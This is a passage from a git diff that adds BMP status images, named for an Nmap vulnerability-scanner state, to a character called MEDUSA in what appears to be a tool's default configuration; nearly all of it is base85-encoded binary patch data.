z9t$Pi#rNOaLmkPk;CKndtFN7l5;Hu)5)UYylrDrA1z{}k!JesjBjB+?*nmt@XhxJ^ zfguBLfC3&&Mr2m}o?St{2THasCaN^#@*PL}C@D&aJ6bI++VXY}s_T96(0X0xLV4fP zt%21$gX=YYgu6ZOs|MEV2G{Sk&ZNG07a!^8=&h=($1Q;75FO|l_>O6h#0vCvz3vdF z;Py~+4mHI9cg33oVSz2(QZSJvcry&%DGtOUpu|Ryb1)f^T=z38X>KBYyt&6pid}N} z;$td&1GB`>ak(fWac&mR-(PB;y7Xkm?b*EhlUeuXY1b#y9-W`!Un~TUY?ibwM!%d5 zYA1wbX88N4tD1?xr6?ee>l*)DR`T8?#yEf8jk#hC_UEkm(}0eEvf*=Z|6>|=2O zS!APrjay1WCkttPCCg`4z)hZ(Ny8IWF3BL`BrAJS1sxT1DK^MCHpnR^$Pq|fuv2W1 zLu{~p48|@N?-+vz>$81axP!Zej=Qpwy_5|66hnG+3SixDM{#(&Zf$ODZft4`D;fx> zhnwLr)?vZH**H@S)-5?Wx*QW-5#pbP4J!uLBH1tE3nC~3mo5h;1dA(aiH#r$Ho6o? z67sYhSsE69S5Z*eR75nx>r#Y;S-81rxET`saoLQR4(_R$!yOghDb*#{F% zLcsyQB?*aa&s|C8Bsnul$O}$6upc&(j7z@qIdG%O!s74PSp|zza$M9l@iDjcHn#FI zw)Ql#_As(?2L%%w4^vwY6B}O(dv7yaSA7e211mRuD>q#WJ7oi&pDA%JKESAdl3iz~ zW>okQqNg~8PjR@Q9YVnzd9xDkKd@RF+mtsis6p3}ufdMWi zqAWO~6x<>W136^D-H_N@PIlp1@)p|imfCWbq+H%YQ{GBb!a#!qslkEPhN|-a!m1`H zn;vx~Gd3+f`btK0YDUzRlIsOa9|(V5yaHuLa%xsm243oyyfs`yi~_M2F9W+`fD;0z z1ujbR+kdd)qAJ4TtHTp&fP^I6#YIZUlyT9Op$XMt@ik!y)nF1P)0YQF zl;dNo!jozuNKzY-TpbQ1sV3YlIl=-LZh?=pjZ%lmVjR7`gZ0f@hxB0(sm^+qdVI=J zR-rhslp6TsF2-X?tb1+=Y(_RDImbm+VxuZev|Ld_8tMom3q#+)uwqPjv7J?rqiqNv z^TXtroOe@&8=!FD_B;+bCDjwXhwLX1s=@3Bv#iXY+PkfL|I@&89we#L`r>hYC}YF zJ;^o+b+M`Uq?jdi1l0}rR26B25cDFFv?A(!9%!f|oL*RpR!E6X#7J0E6)KP9Q%=Zy z3^d>`--)Ru27vFr2nxQOq;wL*0gfY%#JcxT z&CN;#B`nk=2oF|P!$6!*dT>;EWJ+!7jmCt8k}ymfJ|HPFBt15vGWv3vqp6251(&UP zP-IYch)uYgzLyrSiUyyvIxQ|@6f zxuIdj5plO1Ec{*ULn7jDhu{k^Aw{^j+u|&eS2D{3{lis-mCVp4);cyeh7KkwCVB|X z3z}9*357{F8Zp5+c<01OyC^HTz61^QW_n(KN6#OAXZ?B@4#v7Si+8{2fS#n``H5ca zG^Z*nBHStrgDXfac;a@!hxun}D7!e1fE+8Q1Pi+ulvj#hP}bPWqo$*;dudZuL?s|F zE&fJRYD zP0kRb=629_bJh037-J)Ya;=?0&z)d8eUgQaf|G@kn}be(gI)+i%STTEJ@qRiH8r=b zXK;L4p|Ysb<%FB@@p;OE@;V58ZMcpGT>0Ad+jwjmN=UBi@oRiaCWKS`%yCAB(`+2H zyj=ABoOJx`v@k|W&XdP!DbFz(UkHrwz8;_-w+7aLyOA%ygc=l6jjx99pP}@-%ck=XTo`h;8%4 zH?uqaE5yiag~yK3LAemr6i`K!bmNO805+Rd9?zm{L*qIzCS4r$5{ zlm6RZPX)UA9|06Ra!A%MjW{}aojk?P&7(+7!%V)u-)$9len@ItxIDIT{oPjPyQPw{x=1l8B{*E`+!=Ol9rNv-?ZX=NNUY$Y+1Yto zS{NIr?3vTtUV*kR>v~IYV@>r{S!pI12Ql0wQH-ZdNjbLi>TpWX;N82Gate~%yvQ?W z+0UCfzg;D^&hE5MZ}op7CKuj0ahyd^Nagey+QN#=#@h>d@jVTVSyvLyV_n6o|C@0%ek^R_36P_@P*sW^x z__%Rmps;}|*YI-o0x`e5+Lw-&M?esD;smp*j#Xk_Y0>=_d}0O_H5)g#G%c;5r>Ds( zu^7a9usc#i=yaGPtT+k&qDj5G!_--kE$h6cjS9wPW1yXCI&tM zVP(p592BQmj{ib)@;E)^IaW$a4j4?Dk^<%zth+?am|VHyZ6%=xr?6L~bCjowcIFN; z;j$8^4RDtnT)#TEea+HPiGf*+nvPFh!{mT|`*pP=*)=FA@m%j)|BBVrFKc4FjzJzYvO^PE1#;YVG zuExYH2<4VyW)ioylYPING`pP~;jNGw?b-U|c9NI2jo3Lm8G0)z+HgPFcUxDdH&ZoH za8?c}3M#0PvEA1Y2P_|nwWOrt_z8M$0X2FW#^#qcW9!(q(eVDMfmI@LY%4PRi77yp@eC1Cuz6U+$-4EOMq^HnEvno?)B_t)G6SWMUTL6H*fwgN}ai zoZE_i+Lkg!SOo8Cb+_NMlRRZDO`|VDQB`9%N6hRV3FBem( zA|QgMqJv2aO7k&8S!mfADcNBR+#Yrpz|_hwu6>q*GdV?mllU4OD@^Td%@cQr-nCy3 zweU3+%}>{w-cDX1rbc1a&z|NI5K=mJjOIaO^M8_cZxDBPcB}HsjO0}qk1}E(u@# z3$E(MXjZ}ctayE`^VAID+yd%Q2-AbwE4#$)$+iBGmC+?45$Ku!*gmtJ@Sd1ZdD{ZQ zz{10;zzPvN`7`weO~Z$G?~%v-5ZS?ecn@@ZaLh_gS4mL90HrTU1LI^7<>FIjgUGTm zu%^V?^t3q-j^zRO1F}LKoY)SodSE6c#X(EMCn~Ob>I}sF(xu9)N$_)A*>P!DTMubE z-UlVwPwL8`Fezb#5eFxVnSm)e-e`2hapvRwEh2G)Nc=?XA6^Sc&(wgju&_WR`2-YC zoMK`5h0#je0>LTZW$i#9AM_v4nGePa2Cwb;D``evGj+q4eWQiNPvI0?c1R;OPPpF1 zP+2vn-;Og&2{HJ%%as;|+^tSYyk=r*CO}WY#Ka^fAcQ_g0i`-YZ!E20E~mrw6YUjT zEI9V#JIi9Oplhw9C&4aAMGJKbNYpU)J#mahQjj9ZSE;-t=GLube4HLym5b^OD?67g zlwa}WX$UVJAN-s^L-S~3OS_7soVuXQ_z?Iyc%bx0tb0Q?(A6&s5p=hA@10n#svarI z?~!Mg@j@B9XqfSe$a$q^`6XqGi0d;_3ouYI(^ApXP(fJP;QXS>?A$WPPqC`Xql*&4 zi=uIQ0@A@&7m)12ntW2ehGrHBWPTL3JRu^+&qWk29T=aQkX4h{7^x#}RC;ruwqdkuWWh*9Pg_E9eun%i<{zEMe3x|(barwY z4U@QNjpelDAD|*)hRpx(0GG$}nyTD2Ese4UZI$v@j*iR#GF+Gc?Bh zB9aY}b?td+QGaQ1@6G(~s;c3Zo(X9IF}#~Em^Z&4xZhzVyF_J9F`O0lq+{@I^+-ux zHvlck@2;&IdD%A)PL$&8U20RVT=DQ$Wfo3#@Cebfyb?Cl4hmbW()bll5ttIvIX=SFLF=~&y#nzZ;_ zoNt<^d+>SlcG$&aHnbjfR+~b6z6m{Jes&w-y}>2dGYY` zYi#?O_dBfQw|dTtD#S)zdDi+KXe}-5DlO`I@_J@?c?$#xJ|N0V@50FI#?HoKQ@Emo zj7FTf<5d^8$~b%>-oO1p{o5BUlW)5g#`}AlD%|j z9S5J4gIoR2s^3oyk9NEsYHMw-D9*=t--^X2**V8sT{7U6an~{EX(}6d`Or*CBO|?F zo=6<{u<`K8yPNqPB}LsuIbClCmfama9Q2Gg*1_bxZ`zNQd|Gvaz;De z?6tf8i7?Po16&k;!RC^hwu_2^4MNQfp_Jt9(ce@$+}gOgL5jBR&8>k~&#JGb-HZsU zPD@O3@(ePzR)UC5jtsw_eA{yGo-$0XYhvczI;jKW>$@#ovw*dvu=iHQ;JqiEGR*w1 zpS0{ty6<;&lIQR2IBJ*#cmy}U`fxL^yZmNv>(JuF7I9>iIJ!z4TLrkgrpiWn@z?j% zU%|!cNGQE|@VNKIi(BzA_323^Q8CklgL`*B5f+A8?&7U%L+$J`@R+m!FK3PO$=;qL zuj|)Wm-p(tef_35BC76c!kv`FfwuNXx2jPBlD7&=_wM5CeLQWw!5doubgu*NwusL= z=SvEEiu1akwl7%gn?-m9k++WDe);EHcHN8csqqO(dhX(qhMKyG;=Hb>ZL{w-iK8pT zu{Bat02;W<^|-6*qOz;YE1)~uTN^HVW~OqgS@oe4W@y0T^w5_IEj0}RYDTH9zFF8% z1y(_>lhlrCI?wOd?rd!pUda-pg37T7C5A-J%`VLCka5?D?>0c}u2)p_fmP^s%}Y@R zj-K{Tpzxa$^8T!8VF_qK`Q}%%MFqVt`#u1N86|=4f_KngJ$b3XE2b}pQsb53`jN&E zu4<=YAW6#|<`wYzaf>-pSBi-{C-!o2cx<{4w(n)@`pU|})cDY=`}r|p`oi*9s|y&* z3pxU_wb@s|j6;~4SzTU!{ov6Rw}A45`&SKhg=v|#>c$9m zK6gup(YM3D*Y(d$fS(`Ck>|rag9tl2q+YEP2bXtlR}DRA9+lw}smQqr9zUdAvo5Ei z1Z5sSpR8>dAKlmmBRIK3Y<<;%VwdRe?ETUmp!G}o`r=;s<>RM8&K^pf64I;!!e`l% zJ-lzn$7TcvWnnS5F2{!1IKfUb$g&HgVTed?Oi%0Q;06l6r~-wr_3zzks&7=`MGTKl zkfzHu;?Sp^yEP;C9`?bZyp7fMdyjmrVXwS@yw+FTLGbWDdNy2pe{5uJ2LuOL#0#@a z%w#oz_x`J<-(UHvzoP>~w~B81T3?c3<(Hu0jPVG@*?S0_V^ZQ0$6oTTyL|`D`ClIY z9q5t2a5bM|#~gPPw|vOnwi&c=k)Ze_YzP z1YTt@gsbG{mV@OMu=Y%?G(4J2Pb*a6mRkKpS^&S9zQqbEf_{OpFqPE|!^S*rnd=x^ z0;?LZYh+lwgO1tO<~IWLo9h2@5ojcjPy#+eTTBVf4X?;426qqj1L_xTALicch$3?f zZ-K2USm~d2&OLcO?`-4bZ|efu0qIN4uM7LLf?ApJSG46+Uv$kky_x|k!64=o+|m(I z{4ftz*dwOdiD^-KPEBFOgM16yuZ_{ZK_o{k7=whu!ew}9f7&OUi&k+x@t{{8-Q7sw-CS8?aX<7eQ?eg^nl z`J4ZcO;%f4iQ+}{PtHwl6MJV@U-c5MBxY!e$}fJ`2;XG|>t(oipuU1;-_+`xktJZ- ziPbd|RfELfa8ghAc|Gi#UHsRJM*$@@N{R(HeQS3I&)FTYU)+5?xY#~0Ee93NP01kj zY99v%x4zE`B7a~+oC%tlnmahZHSiIfW)f4AGBsc_n;RQI?Y|Nn|gz62WNtIs2I@YJd&gf0-5Z2TY5KJR+%y*XMSL)7!-1fnixrp(I@NAA*7k z2Ve!Yz%Eo(OvcN~VP$J~dWZP%Wv3t|>#L>~aO=OEZs(PX&~SB5%!6)xTv<1eQL$1t z+yuuF2MDNxu>v6QG7$pGk9GAStZmF}?HDTQVVpd6w!i(Y_&+lM;AQj;Yju4umjLjl z`|RRJYYlyMakzmV(j?dM;*B)7ps&5l?0bTij9T&a+=Dj-Y92Z5 z?YW|Su{Nf*^Y52TQQGQoxpzb4|K|Mt$@i-!55f9*_y)TB)FouCR1FP~8o^FpU=98^ z7uv6Svu_bt4(wSikb1WI=2~zi3uRsKCiA|v_qlNx)-NjNr)I(TXE3tO4UfKD{Ers) zytF*GSXoRmE+~A3e8P3u77x$5_hv0<98AuKZSCKz4?KBc25e_Y>3}i1S9vf0;fMbZ DsCzj7 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner4.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner4.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2883594bea91a13dba13bb36173019043a69dee4 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner5.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2bd18470c28751c17e89783c485b4b115e7ae04e GIT binary patch literal 18462 zcmd^{by!@@5_q}`1n|mfUQ7pK-OXJ$Oy9IZ5Z2=mm(MFp9jk^R30TLj%2Y2@% z2`>FMFefK7H$rCax&OTSic0mas#W!?wN_Pa`647kAo0^xUH?7P|2GF-etyvJBj3$>_(Ln;Cm`y-GyL=u_Wzsk-@+D>jtaqe7rMx_F(}Kb#eOfQtYMhi@&atKg)V?esX&F{%B|VaJl`%OwI0S z;qFl8?%?yi!Q}m+q=TWP4+HVDBWaN5pb>fXEOyFeVgiUZGge;;=S zQa=u-AB>~}6?Xd3y94Om!K-utz1^F#+n;~br?TPX>f*L5g%88qUxK$~s&3SneAx0C8G0SZUhZC6n zvGkpH&jILNAP!u`{!{>QdmwdxG~-|lGt&?~QWdt{mwG&&xeFBaU)DJs$vB(Le&2`g zDDlq>xAL=7b}$h0G!w5YiUHi_M{$3g73g9A!|X&$@{45m2nQW!DN!pnZWkuLU@q|# z5v6Pyoh&)MXhAh3kE%W%y*e$UHV-etSZk&!?r0LTKb&?jngJ*qP$3Wjl^;!DhN{9X zBm}r|DR_uzWytAkP;Q4~n1hiF0J^&@z}HevfQpFW?ysD`K9P7rqJT#s{)FP`-Me8S z0cWSDKZN_^to_{`uDbfRAQ2Zv?kFB`k-S#5fpw{|UB)w;XbrPqRns74JE)3HsEJda zmJNnq)qs+X|0%VNl=OU4>~??3YFqqb3u>tawbGsdsClF+T%3YMLD)2_vZ=af5FUVJ zdrZ=dfdQos+G1SzxH9;p{=A~aI?tMHZF@YNYm}d5vn#?`#JMS{W~L|qm8{37C&5lG zYUIr6a{5)q_W9OMG0&{vN)}$?HZTz<1A0}6xbJh#jA-RpUja9F1@n9pw^HykJ34N0 